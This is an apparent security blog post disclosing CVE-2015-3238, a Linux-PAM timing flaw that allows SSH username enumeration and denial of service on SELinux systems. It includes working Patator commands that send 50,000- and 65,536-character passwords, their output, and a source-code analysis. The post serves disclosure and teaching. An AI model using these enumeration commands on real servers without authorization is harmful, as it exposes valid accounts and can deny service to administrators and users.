Username Enumeration against OpenSSH-SELinux with CVE-2015-3238

I recently disclosed a low-risk vulnerability in Linux-PAM versions prior to 1.2.1 which allows attackers to conduct username enumeration and denial of service attacks. The purpose of this post is to provide more technical details around this vulnerability.

The Past

Time-based username enumeration is an old topic, yet it keeps coming in and out of fashion.

• 2002 Whitepaper by Sebastian Krahmer
• 2003 CVE-2003-0190 in OpenSSH w/ PAM by Marco Ivaldi
• 2006 CVE-2006-5229 in OpenSSH itself by Marco Ivaldi
• 2014 CVE-2014-9016 & CVE-2014-9034 in Drupal & Wordpress by Javier Nieto and Andres Rojas

OpenSSH has sort of always been affected by this issue due to bugs in PAM or OpenSSH itself. It is still affected today and unlikely to be patched (it doesn't seem to be on the OpenSSH developers' priority list).

Demonstration on Debian 7.8 fully patched:

$ patator.py ssh_login host=192.168.122.38 user=FILE0 0=logins.txt password=$(perl -e "print 'A'x50000") --max-retries 0 -x ignore:time=0-3 
16:28:56 patator    INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2015-04-02 16:28 AEDT
16:28:56 patator    INFO - 
16:28:56 patator    INFO - code  size    time | candidate  | num | mesg
16:28:56 patator    INFO - ----------------------------------------------------------------------
16:29:19 patator    INFO - 1     22    23.258 | john       |   8 | Authentication failed.
16:29:22 patator    INFO - 1     22    25.597 | root       |   2 | Authentication failed.
16:29:22 patator    INFO - 1     22    25.593 | joe        |   5 | Authentication failed.
...

What happens is that when sending an overly long password, the server takes longer than usual to respond if the provided username is valid because the server goes through the costly operation of computing the password hash only if the user account exists on the system.

There is also the Metasploit module ssh_enumusers.rb but it is not multi-threaded (even with THREADS=10 it seems to only test one username at a time).

The Bug

Earlier this year, a fellow SpiderLabs colleague contacted me because this trick was not working against the OpenSSH server he was pen-testing. The server would always take the same time to respond, even for root.

This seemed strange so I went back to test this again but on a CentOS VM this time, instead of Debian, and indeed it wasn't working. I then tried with much longer passwords and found out that the server would take 2 minutes to respond for a valid username when the password was 65536 characters or more.

Demonstration on CentOS 7.1 fully patched (same results with CentOS 6.6):

$ patator.py ssh_login host=192.168.122.202 user=FILE0 0=logins.txt password=$(perl -e "print 'A'x65536") --max-retries 0 -x ignore:time=0-3 
16:30:13 patator    INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2015-04-02 16:30 AEDT
16:30:13 patator    INFO -                                                                              
16:30:13 patator    INFO - code  size    time | candidate  | num | mesg
16:30:13 patator    INFO - -----------------------------------------------------------------------------
16:32:13 patator    INFO - 1     22   119.968 | root       |   2 | Authentication failed.
16:32:13 patator    INFO - 1     22   119.927 | joe        |   5 | Authentication failed.
16:32:13 patator    INFO - 1     22   119.928 | john       |   8 | Authentication failed.
...

The "fun" part was actually tracking down where the bug was buried.

The Source

When SELinux is enabled (by default on CentOS/RHEL), libpam actually uses the external program /sbin/unix_chkpwd to verify the provided password. Otherwise when SELinux is disabled, libpam computes the password hash itself and compares it against /etc/shadow (in which case we only need to send a password of a few thousand characters to notice a time difference).

Let's have a look at the source:

$ curl -s http://vault.centos.org/7.1.1503/os/Source/SPackages/pam-1.1.8-12.el7.src.rpm -o - | rpm2cpio | cpio --extract --to-stdout 'Linux-PAM-1.1.*' | tar xjf -
or http://vault.centos.org/6.6/os/Source/SPackages/pam-1.1.1-20.el6.src.rpm for CentOS 6.6 but the code is the same

I've simplified the code below, but basically at some point we step into _unix_verify_password() which then calls get_pwd_hash():

// in modules/pam_unix/support.c:
int _unix_verify_password(const char *username, const char *password)
{
  ...
  retval = get_pwd_hash(username, &shadowhash)
  if (retval != PAM_SUCCESS) {
    if (retval == PAM_UNIX_RUN_HELPER) {
      retval = _unix_run_helper_binary(username, password);
    }
    ...
  } else {
    retval = verify_pwd_hash(password, shadowhash);
  }
  ...
}

Then get_pwd_hash() calls get_account_info():

// in modules/pam_unix/passverify.c:
int get_pwd_hash(const char *username, char **shadowhash)
{
  ...
  retval = get_account_info(username, shadowhash);
  if (retval != PAM_SUCESS) {
    return retval;
  }
  ...
}

In get_account_info() below, if SELinux is enabled then we go back to _unix_verify_password() above and end up calling _unix_run_helper_binary():

// in modules/pam_unix/support.c:
#define SELINUX_ENABLED is_selinux_enabled()>0 // true unless SELinux=disabled in /etc/selinux/config
 
int get_account_info(const char *username, char **shadowhash)
{
  ...
  if (geteuid() || SELINUX_ENABLED) {
    return PAM_UNIX_RUN_HELPER;
  }
  ...
  return PAM_SUCCESS;
}

The _unix_run_helper_binary() function creates a pipe and forks. The child process calls execve() on /sbin/unix_chkpwd which will then read the password from the pipe (as stdin), while the parent writes the password to the pipe and waits for the child to return:

// in modules/pam_unix/support.c:
static int _unix_run_helper_binary(const char *passwd, const char *user)
{    
  int retval, child, fds[2];
  if (pipe(fds) != 0) {
    return PAM_AUTH_ERR;  
  }
  
  child = fork();
  if (child == 0) {
    dup2(fds[0], STDIN_FILENO);
    execve(CHKPWD_HELPER, {"/sbin/unix_chkpwd", user, NULL}, {NULL});
  } else if (child > 0) {
    if (write(fds[1], passwd, strlen(passwd)+1) == -1) {
      retval = PAM_AUTH_ERR;
    }
    ...
    while (waitpid(child, &retval, 0) < 0);
  }

On Linux, a pipe has a capacity of 65536 bytes by default (16 pages of 4K each) and so what happens is that the parent blocks on the write() call because it tries to write strlen(passwd)+1 bytes.

The child reads the password from the pipe and truncates it to 200 characters (see read_passwords() in modules/pam_unix/passverify.c and the #define MAXPASS 200). This is the reason why the SSH server takes the same time to respond whether you send a 1-character or a 50k-character password.

So the child computes the hash, compares it to the actual one in /etc/shadow and returns (i.e. the /sbin/unix_chkpwd process exits), while the parent remains blocked. Hence the child process is now a zombie and shows as "<defunct>" in ps. And we just hang like this until the server disconnects upon hitting LoginGraceTime which is 120 seconds by default.

Final Thoughts

Beware that if you use Patator's --timeout option or ssh_enumusers.rb's THRESHOLD option you will DoS the server if you hit too many valid usernames (sshd will temporarily deny new connections after hitting MaxStartups).

The recommendation for this type of issue is obviously that the application logic should take the same compute time whether the username is correct or not. However, Linux-PAM decided to just truncate the input password to 512 bytes.

Also worth noting is that some question whether unix_chkpwd follows best coding practices. So there could be other bugs.

Responsibly Disclosed

• Vendor release http://seclists.org/oss-sec/2015/q2/804
• Red Hat report https://bugzilla.redhat.com/show_bug.cgi?id=1228571

Bonus Tip

To enable debug logs in pam on CentOS:

# yum install yum-utils rpm-build -y
# wget http://vault.centos.org/7.1.1503/os/Source/SPackages/pam-1.1.8-12.el7.src.rpm
# rpm -ivh ./pam-1.1.8-12.el7.src.rpm
# yum-builddep rpmbuild/SPECS/pam.spec
# sed -i -e 's,^%configure ,%configure --enable-debug ,' rpmbuild/SPECS/pam.spec
# rpmbuild -bb rpmbuild/SPECS/pam.spec
# rpm -Uvh rpmbuild/RPMS/x86_64/pam-1.1.8-12.el7.centos.x86_64.rpm
# echo 'touch /var/run/pam-debug.log; chmod 622 /var/run/pam-debug.log' >> /etc/rc.d/rc.local
# reboot
(run `yum downgrade pam` to revert to original version)

You can reach me at @lanjelot for more intel. Thanks for reading!